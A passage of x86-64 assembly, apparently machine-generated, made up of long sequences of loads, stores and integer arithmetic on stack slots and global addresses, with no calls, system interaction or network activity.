shl rax, cl
mov qword [rsp + 0xbd88], rax
mov eax, dword [rsp + 0x6b68]
mov dword [rsp + 0x6c40], eax
mov rax, qword [rsp + 0xcda0]
mov rcx, qword [rsp + 0xc7d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xc738]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd0e8]
mov qword [rsp + 0xd448], rax
mov rax, qword [rsp + 0xc020]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5e]
xor eax, ecx
mov rcx, qword [rsp + 0xc020]
mov byte [rcx], al
lea rax, [rsp + 0x17d8]
mov qword [0x1402c93d8], rax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf30]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1714], ax
lea rax, [rsp + 0x6f]
mov qword [rsp + 0xd450], rax
movzx eax, word [rsp + 0x1828]
mov rcx, qword [rsp + 0xc560]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1834], ax
mov rax, qword [rsp + 0xd140]
mov qword [rsp + 0xd458], rax
mov rax, qword [rsp + 0xd238]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xba70], rax
mov rax, qword [rsp + 0xcb48]
mov rcx, qword [rsp + 0xcd08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcfb0]
mov dword [rcx], eax
lea rax, [rsp + 0x6b30]
mov qword [rsp + 0xd460], rax
movsx eax, word [0x1402c74e0]
mov rcx, qword [rsp + 0xcd00]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd328]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc4]
movzx ecx, byte [rsp + 0xb9]
add eax, ecx
mov byte [0x1402c74e6], al
movzx eax, word [rsp + 0x1804]
mov word [rsp + 0x1864], ax
mov rax, qword [0x1402c9320]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16cc]
sub eax, ecx
mov word [rsp + 0x1838], ax
movzx eax, byte [rsp + 0xa5]
mov rcx, qword [rsp + 0xc0f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x9d], al
lea rax, [rsp + 0xb9d8]
mov qword [rsp + 0xd468], rax
mov rax, qword [rsp + 0xd368]
mov ecx, dword [rsp + 0x699c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a2c], eax
lea rax, [rsp + 0xcf10]
mov qword [rsp + 0xd470], rax
mov rax, qword [rsp + 0xd340]
mov ecx, dword [rsp + 0x6b1c]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0xd3f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbdc0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe58]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe8], al
movzx eax, word [rsp + 0x170c]
mov word [0x1402c93e0], ax
lea rax, [rsp + 0xef]
mov qword [rsp + 0xd478], rax
mov rax, qword [rsp + 0xcd20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x16ec], ax
mov rax, qword [rsp + 0xc5b0]
movzx eax, byte [rax]
mov byte [rsp + 0x115], al
mov rax, qword [rsp + 0xc3e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6b0c]
shr eax, cl
mov dword [rsp + 0x68f4], eax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov qword [rsp + 0xd480], rax
mov rax, qword [rsp + 0xc830]
mov rcx, qword [rsp + 0xd188]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6b10], eax
mov rax, qword [rsp + 0xc2b0]
mov rcx, qword [rsp + 0xcf30]
mov qword [rsp + 0xd488], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd488]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xbdc8], rax
movzx eax, word [rsp + 0x1810]
mov word [rsp + 0x1868], ax
movzx eax, byte [rsp + 0x93]
movzx ecx, byte [rsp + 0x75]
add eax, ecx
mov byte [0x1402c74e7], al
mov rax, qword [rsp + 0xced0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf7]
add eax, ecx
mov byte [rsp + 0x76], al
mov rax, qword [rsp + 0xcfa8]
movzx eax, byte [rax]
mov byte [rsp + 0x116], al
movsx eax, word [rsp + 0x163c]
movsx ecx, word [rsp + 0x15c4]
and eax, ecx
mov word [rsp + 0x1674], ax
movzx eax, word [rsp + 0x1584]
mov rcx, qword [0x1402c9248]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcc50]
mov word [rcx], ax
mov eax, dword [rsp + 0x69d4]
mov dword [rsp + 0x6c44], eax
mov rax, qword [rsp + 0xc790]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbf28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x68ec]
mov dword [rsp + 0x6c48], eax
mov rax, qword [rsp + 0xc678]
mov rcx, qword [rsp + 0xcd68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc860], rax
movzx eax, byte [rsp + 0xa3]
mov rcx, qword [rsp + 0xc000]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1402c93d0]
mov byte [rcx], al
movsx eax, byte [rsp + 0xf1]
movsx ecx, byte [rsp + 0x60]
sub eax, ecx
mov byte [rsp + 0x57], al
movzx eax, word [rsp + 0x1720]
mov word [rsp + 0x186c], ax
movzx eax, word [rsp + 0x1680]
mov rcx, qword [rsp + 0xbf08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x152c], ax
lea rax, [rsp + 0xe9]
mov qword [rsp + 0xd490], rax
mov rax, qword [rsp + 0xd460]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bfc], eax
mov rax, qword [rsp + 0xd438]
mov qword [rsp + 0xd498], rax
mov rax, qword [rsp + 0xc4b8]
mov rcx, qword [rsp + 0xc2f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b2c], eax
mov rax, qword [rsp + 0xc1b0]
mov rcx, qword [rsp + 0xc950]
mov qword [rsp + 0xd4a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd4a0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc820], rax
movsx eax, word [rsp + 0x16e8]
mov rcx, qword [rsp + 0xcc30]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1402c749c], ax
lea rax, [0x1402c90c6]
mov qword [rsp + 0xd4a8], rax
movsx eax, byte [rsp + 0xae]
mov rcx, qword [rsp + 0xc6d8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x89], al
movzx eax, word [rsp + 0x175c]
mov word [rsp + 0x1870], ax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [0x1402c93c8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc870]
mov byte [rcx], al
mov rax, qword [rsp + 0xcc38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b30]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc978]
mov dword [rcx], eax
mov rax, qword [rsp + 0xce08]
mov rax, qword [rax]
mov qword [rsp + 0xd4b0], rax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xd280]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbeb8], rax
mov rax, qword [rsp + 0xbe10]
mov eax, dword [rax]
mov dword [rsp + 0x6c4c], eax
lea rax, [rsp + 0x1608]
mov qword [0x1402c93e8], rax
movsx eax, byte [rsp + 0x81]
mov rcx, qword [0x1402c9348]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb8], al
mov rax, qword [rsp + 0xc190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb7]
and eax, ecx
mov byte [rsp + 0x69], al
movzx eax, word [rsp + 0x1664]
mov word [rsp + 0x1874], ax
mov rax, qword [rsp + 0xcc90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcce0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x154c], ax
mov rax, qword [rsp + 0xd190]
mov eax, dword [rax]
mov dword [rsp + 0x6c50], eax
mov rax, qword [rsp + 0xcd30]
mov rcx, qword [rsp + 0xc8f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a04], eax
mov rax, qword [0x1402c7490]
mov rcx, qword [rsp + 0xd0a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc500], rax
lea rax, [rsp + 0xcab8]
mov qword [rsp + 0xd4b8], rax
lea rax, [rsp + 0x106]
mov qword [0x1402c93f0], rax
mov rax, qword [rsp + 0xc5e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16b8]
sub eax, ecx
mov word [rsp + 0x17b0], ax
mov rax, qword [rsp + 0xcb18]
movzx eax, word [rax]
mov word [rsp + 0x1878], ax
mov rax, qword [rsp + 0xca08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x69]
add eax, ecx
mov rcx, qword [rsp + 0xd450]
mov byte [rcx], al
mov rax, qword [rsp + 0xc4f0]
movzx eax, byte [rax]
mov byte [rsp + 0x117], al
mov rax, qword [rsp + 0xc0d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbce0]
shr rax, cl
mov qword [rsp + 0xc608], rax
mov rax, qword [rsp + 0xc3f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd428]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbf58]
mov qword [rcx], rax
lea rax, [rsp + 0x6b84]
mov qword [rsp + 0xd4c0], rax
mov eax, dword [rsp + 0x6c18]
mov ecx, dword [0x1402c90a0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd0], eax
movsx eax, word [rsp + 0x16a4]
mov rcx, qword [rsp + 0xd388]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1402c74e0], ax
lea rax, [rsp + 0x9d]
mov qword [rsp + 0xd4c8], rax
mov rax, qword [0x1402c9218]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc6]
and eax, ecx
mov byte [rsp + 0xf4], al
mov rax, qword [rsp + 0xcbc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc838]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1694], ax
mov rax, qword [rsp + 0xbf68]
movzx eax, word [rax]
mov word [rsp + 0x187c], ax
mov rax, qword [rsp + 0xc5e8]
mov rcx, qword [rsp + 0xceb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd358], rax
mov rax, qword [rsp + 0xc0e8]
mov qword [rsp + 0xd4d0], rax
mov rax, qword [rsp + 0xc4b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bf4], eax
mov eax, dword [rsp + 0x6c04]
mov ecx, dword [rsp + 0x6a90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6abc], eax
lea rax, [rsp + 0xaa]
mov qword [0x1402c93f8], rax
lea rax, [rsp + 0x1600]
mov qword [rsp + 0xd4d8], rax
mov rax, qword [rsp + 0xc828]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xce88]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xcc08]
mov byte [rcx], al
mov rax, qword [rsp + 0xd088]
movzx eax, byte [rax]
mov byte [rsp + 0x118], al
movzx eax, word [rsp + 0x1844]
movzx ecx, word [rsp + 0x17ac]
sub eax, ecx
mov rcx, qword [rsp + 0xcee8]
mov word [rcx], ax
mov rax, qword [rsp + 0xcbb0]
mov ecx, dword [rsp + 0x6a58]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcbd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc700]
mov qword [rsp + 0xd4e0], rax
mov rax, qword [rsp + 0xbe60]
mov rcx, qword [rsp + 0xcc28]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc898], rax
mov rax, qword [rsp + 0xc7d8]
mov eax, dword [rax]
mov dword [rsp + 0x6c54], eax
movsx eax, word [rsp + 0x16f8]
movsx ecx, word [rsp + 0x16e4]
sub eax, ecx
mov rcx, qword [0x1402c90c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x75]
mov rcx, qword [0x1402c91b0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x92], al
lea rax, [rsp + 0x16f8]
mov qword [rsp + 0xd4e8], rax
movsx eax, byte [rsp + 0xa8]
mov rcx, qword [rsp + 0xd2d0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x101], al
movzx eax, word [rsp + 0x169c]
mov rcx, qword [rsp + 0xc378]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1738], ax
mov rax, qword [rsp + 0xbdb8]
mov eax, dword [rax]
mov dword [rsp + 0x6c58], eax
mov rax, qword [rsp + 0xcb70]
mov rcx, qword [rsp + 0xccb8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd428], rax
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
mov qword [rsp + 0xd4f0], rax
mov rax, qword [rsp + 0xbb00]
mov eax, dword [rax]
mov ecx, dword [0x1402c90a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b90], eax
movzx eax, byte [rsp + 0x9a]
movzx ecx, byte [rsp + 0xb0]
sub eax, ecx
mov byte [rsp + 0x70], al
lea rax, [0x1402c74ba]
mov qword [0x1402c9400], rax
mov rax, qword [rsp + 0xc5f0]
movzx eax, word [rax]
mov word [rsp + 0x1880], ax
movzx eax, word [rsp + 0x16c4]
movzx ecx, word [rsp + 0x1594]
sub eax, ecx
mov rcx, qword [rsp + 0xcec0]
mov word [rcx], ax
lea rax, [rsp + 0x1540]
mov qword [rsp + 0xd4f8], rax
mov rax, qword [rsp + 0xbec0]
mov rcx, qword [rsp + 0xbaa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc5e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc558]
mov rcx, qword [rsp + 0xcc28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc2b0], rax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov dword [rsp + 0x6c5c], eax
mov rax, qword [rsp + 0xd3d0]
mov rcx, qword [rsp + 0xc6b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc978]
mov dword [rcx], eax
lea rax, [rsp + 0xc4]
mov qword [rsp + 0xd500], rax
mov rax, qword [rsp + 0xcbe8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbaf0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1402c90e0]
mov word [rcx], ax
mov rax, qword [0x1402c9110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf88]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1660], ax
lea rax, [rsp + 0x1590]
mov qword [rsp + 0xd508], rax
mov rax, qword [rsp + 0xd040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb5]
add eax, ecx
mov rcx, qword [rsp + 0xc590]
mov byte [rcx], al
mov rax, qword [rsp + 0xd3f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b9c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6994], eax
mov rax, qword [rsp + 0xc878]
mov eax, dword [rax]
mov dword [rsp + 0x6c60], eax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbe08]
mov qword [rsp + 0xd510], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd510]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd4f0], rax
lea rax, [rsp + 0xd168]
mov qword [rsp + 0xd518], rax
movzx eax, word [rsp + 0x1558]
mov rcx, qword [rsp + 0xc478]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xcd20]
mov word [rcx], ax
mov rax, qword [rsp + 0xc088]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1774]
or eax, ecx
mov word [0x1402c753c], ax
movzx eax, byte [rsp + 0x9d]
movzx ecx, byte [rsp + 0xb1]
sar eax, cl
mov rcx, qword [rsp + 0xbb18]
mov byte [rcx], al
mov rax, qword [rsp + 0xba80]
movzx eax, byte [rax]
mov byte [rsp + 0x119], al
movsx eax, byte [rsp + 0x73]
mov rcx, qword [rsp + 0xbe70]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7e], al
lea rax, [rsp + 0x6b40]
mov qword [rsp + 0xd520], rax
mov rax, qword [rsp + 0xcba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc1a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc1c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcb98]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc780], rax
lea rax, [rsp + 0x6b28]
mov qword [rsp + 0xd528], rax
mov rax, qword [rsp + 0xd240]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc610]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc158]
mov byte [rcx], al
mov rax, qword [0x1402c92c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbef8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c74de], al
mov rax, qword [rsp + 0xd158]
movzx eax, byte [rax]
mov byte [rsp + 0x11a], al
mov rax, qword [rsp + 0xc070]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x158c]
sub eax, ecx
mov word [rsp + 0x1834], ax
movsx eax, word [0x1402c90d8]
movsx ecx, word [rsp + 0x15b8]
add eax, ecx
mov rcx, qword [rsp + 0xc758]
mov word [rcx], ax
mov rax, qword [rsp + 0xcf70]
movzx eax, word [rax]
mov word [rsp + 0x1884], ax
mov rax, qword [rsp + 0xc8b0]
mov rcx, qword [rsp + 0xd330]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xd238]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcd18]
mov rax, qword [rax]
mov qword [rsp + 0xd530], rax
mov rax, qword [rsp + 0xc3e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c54], eax
lea rax, [rsp + 0x6bf8]
mov qword [rsp + 0xd538], rax
lea rax, [rsp + 0x9c]
mov qword [0x1402c9408], rax
mov rax, qword [rsp + 0xd180]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe58]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x5c], al
movzx eax, word [rsp + 0x15e0]
mov rcx, qword [rsp + 0xcc50]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x174c], ax
lea rax, [rsp + 0x89]
mov qword [rsp + 0xd540], rax
mov rax, qword [rsp + 0xc648]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcec8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc320]
mov byte [rcx], al
lea rax, [rsp + 0x6bc4]
mov qword [rsp + 0xd548], rax
mov rax, qword [rsp + 0xc988]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd38]
mov qword [rsp + 0xd550], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd550]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xcca8], rax
mov rax, qword [rsp + 0xbda0]
mov rcx, qword [rsp + 0xd428]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbf28], rax
mov eax, dword [rsp + 0x6990]
mov dword [rsp + 0x6c64], eax
mov rax, qword [rsp + 0xce48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc260]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1402c7524], ax
mov rax, qword [rsp + 0xcb90]
movsx eax, byte [rax]
imul eax, eax, 0x3b
mov rcx, qword [rsp + 0xd490]
mov byte [rcx], al
lea rax, [rsp + 0x1588]
mov qword [rsp + 0xd558], rax
mov rax, qword [rsp + 0xbf20]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c74cf]
add eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0xc4e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1608]
add eax, ecx
mov word [rsp + 0x1838], ax
mov rax, qword [rsp + 0xc0b0]
mov qword [rsp + 0xd560], rax
mov rax, qword [rsp + 0xd3f0]
mov rcx, qword [rsp + 0xbd78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd4c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6bbc]
mov dword [rsp + 0x6c68], eax
mov rax, qword [rsp + 0xc988]
mov rcx, qword [rsp + 0xd260]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd2a0], rax
mov rax, qword [rsp + 0xc320]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcd]
sub eax, ecx
mov byte [0x1402c74b3], al
lea rax, [rsp + 0x1660]
mov qword [rsp + 0xd568], rax
mov rax, qword [rsp + 0xc4b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x63]
add eax, ecx
mov rcx, qword [rsp + 0xba78]
mov byte [rcx], al
mov rax, qword [rsp + 0xc600]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcac8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd090]
mov word [rcx], ax
lea rax, [rsp + 0x16cc]
mov qword [rsp + 0xd570], rax
mov eax, dword [rsp + 0x69a4]
imul eax, dword [rsp + 0x6a10]
mov rcx, qword [rsp + 0xc748]
mov dword [rcx], eax
lea rax, [rsp + 0xbfb8]
mov qword [rsp + 0xd578], rax
mov rax, qword [rsp + 0xc068]
mov rcx, qword [rsp + 0xbe08]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcc20], rax
mov rax, qword [rsp + 0xd368]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6bd8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a90], eax
lea rax, [rsp + 0x9a]
mov qword [0x1402c9410], rax
lea rax, [rsp + 0x89]
mov qword [rsp + 0xd580], rax
movsx eax, word [rsp + 0x17d8]
movsx ecx, word [rsp + 0x186c]
shl eax, cl
mov word [rsp + 0x1874], ax
lea rax, [rsp + 0x1870]
mov qword [rsp + 0xd588], rax
mov rax, qword [rsp + 0xca18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xeb]
xor eax, ecx
mov byte [rsp + 0x82], al
mov rax, qword [rsp + 0xbf60]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc5c0]
shr rax, cl
mov rcx, qword [rsp + 0xc988]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc338]
mov eax, dword [rax]
mov dword [rsp + 0x6c6c], eax
mov rax, qword [rsp + 0xc418]
mov rcx, qword [rsp + 0xd128]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xced8], rax
mov rax, qword [rsp + 0xc4a8]
mov eax, dword [rax]
mov dword [rsp + 0x6c70], eax
mov rax, qword [rsp + 0xd4f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1574]
sub eax, ecx
mov rcx, qword [0x1402c9138]
mov word [rcx], ax
movsx eax, word [rsp + 0x1698]
mov rcx, qword [rsp + 0xc230]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x16fc], ax
mov rax, qword [rsp + 0xc4f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x107]
add eax, ecx
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0xbf88]
movzx eax, word [rax]
mov word [rsp + 0x1888], ax
mov rax, qword [rsp + 0xc590]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
add eax, ecx
mov rcx, qword [rsp + 0xc190]
mov byte [rcx], al
mov rax, qword [rsp + 0xccf8]
mov eax, dword [rax]
mov dword [rsp + 0x6c74], eax
mov rax, qword [rsp + 0xc0d8]
mov rcx, qword [rsp + 0xc720]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcdc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc830]
mov eax, dword [rax]
mov dword [rsp + 0x6c78], eax
mov rax, qword [rsp + 0xd208]
mov rcx, qword [rsp + 0xc328]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcfd0], rax
movzx eax, word [rsp + 0x17d8]
mov word [0x1402c9418], ax
movsx eax, byte [rsp + 0xc9]
mov rcx, qword [rsp + 0xc818]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd1e0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1530]
mov word [rsp + 0x188c], ax
movzx eax, byte [rsp + 0xe5]
movzx ecx, byte [rsp + 0x8f]
sub eax, ecx
mov byte [rsp + 0xd8], al
lea rax, [rsp + 0x15e0]
mov qword [rsp + 0xd590], rax
mov rax, qword [rsp + 0xbab0]
mov rcx, qword [rsp + 0xd190]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6bbc], eax
mov rax, qword [0x1402c7490]
mov rcx, qword [rsp + 0xc2a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc538], rax
mov rax, qword [rsp + 0xc240]
mov qword [rsp + 0xd598], rax
mov rax, qword [rsp + 0xc890]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc628]
mov qword [rsp + 0xd5a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd5a0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xcda8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x188c]
movsx ecx, word [rsp + 0x15e8]
or eax, ecx
mov word [0x1402c7540], ax
lea rax, [rsp + 0x1584]
mov qword [rsp + 0xd5a8], rax
movzx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0xd500]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc918]
mov byte [rcx], al
mov rax, qword [rsp + 0xbd28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc640]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xba78]
mov byte [rcx], al
lea rax, [rsp + 0x10c]
mov qword [rsp + 0xd5b0], rax
mov eax, dword [rsp + 0x69c0]
mov ecx, dword [rsp + 0x6c5c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ba8], eax
lea rax, [0x1402c90a0]
mov qword [rsp + 0xd5b8], rax
mov rax, qword [rsp + 0xcd80]
mov rcx, qword [rsp + 0xc068]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xba70], rax
mov rax, qword [rsp + 0xc4a0]
mov rcx, qword [rsp + 0xbb70]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc278], rax
lea rax, [0x1402c91a0]
mov qword [rsp + 0xd5c0], rax
movzx eax, byte [rsp + 0xe7]
mov rcx, qword [rsp + 0xcaa0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402c74b6], al
movzx eax, word [rsp + 0x1560]
movzx ecx, word [rsp + 0x17c8]
sub eax, ecx
mov word [rsp + 0x1764], ax
movzx eax, byte [rsp + 0xef]
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0x17d0]
movsx ecx, word [rsp + 0x1548]
add eax, ecx
mov rcx, qword [rsp + 0xc2f0]
mov word [rcx], ax
lea rax, [rsp + 0x6c4c]
mov qword [rsp + 0xd5c8], rax
mov rax, qword [rsp + 0xc0c8]
mov rcx, qword [rsp + 0xbd88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xca68], rax
mov rax, qword [rsp + 0xbab0]
mov ecx, dword [rsp + 0x6b5c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b7c], eax
mov rax, qword [rsp + 0xbf10]
mov rax, qword [rax]
mov qword [rsp + 0xd5d0], rax
movzx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0xc430]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdd], al
mov rax, qword [rsp + 0xcfa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x106]
shl eax, cl
mov rcx, qword [0x1402c9348]
mov byte [rcx], al
mov rax, qword [rsp + 0xbf68]
movzx eax, word [rax]
mov word [rsp + 0x1890], ax
mov rax, qword [rsp + 0xc3d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba10]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc658]
mov word [rcx], ax
mov rax, qword [rsp + 0xbb78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd580]
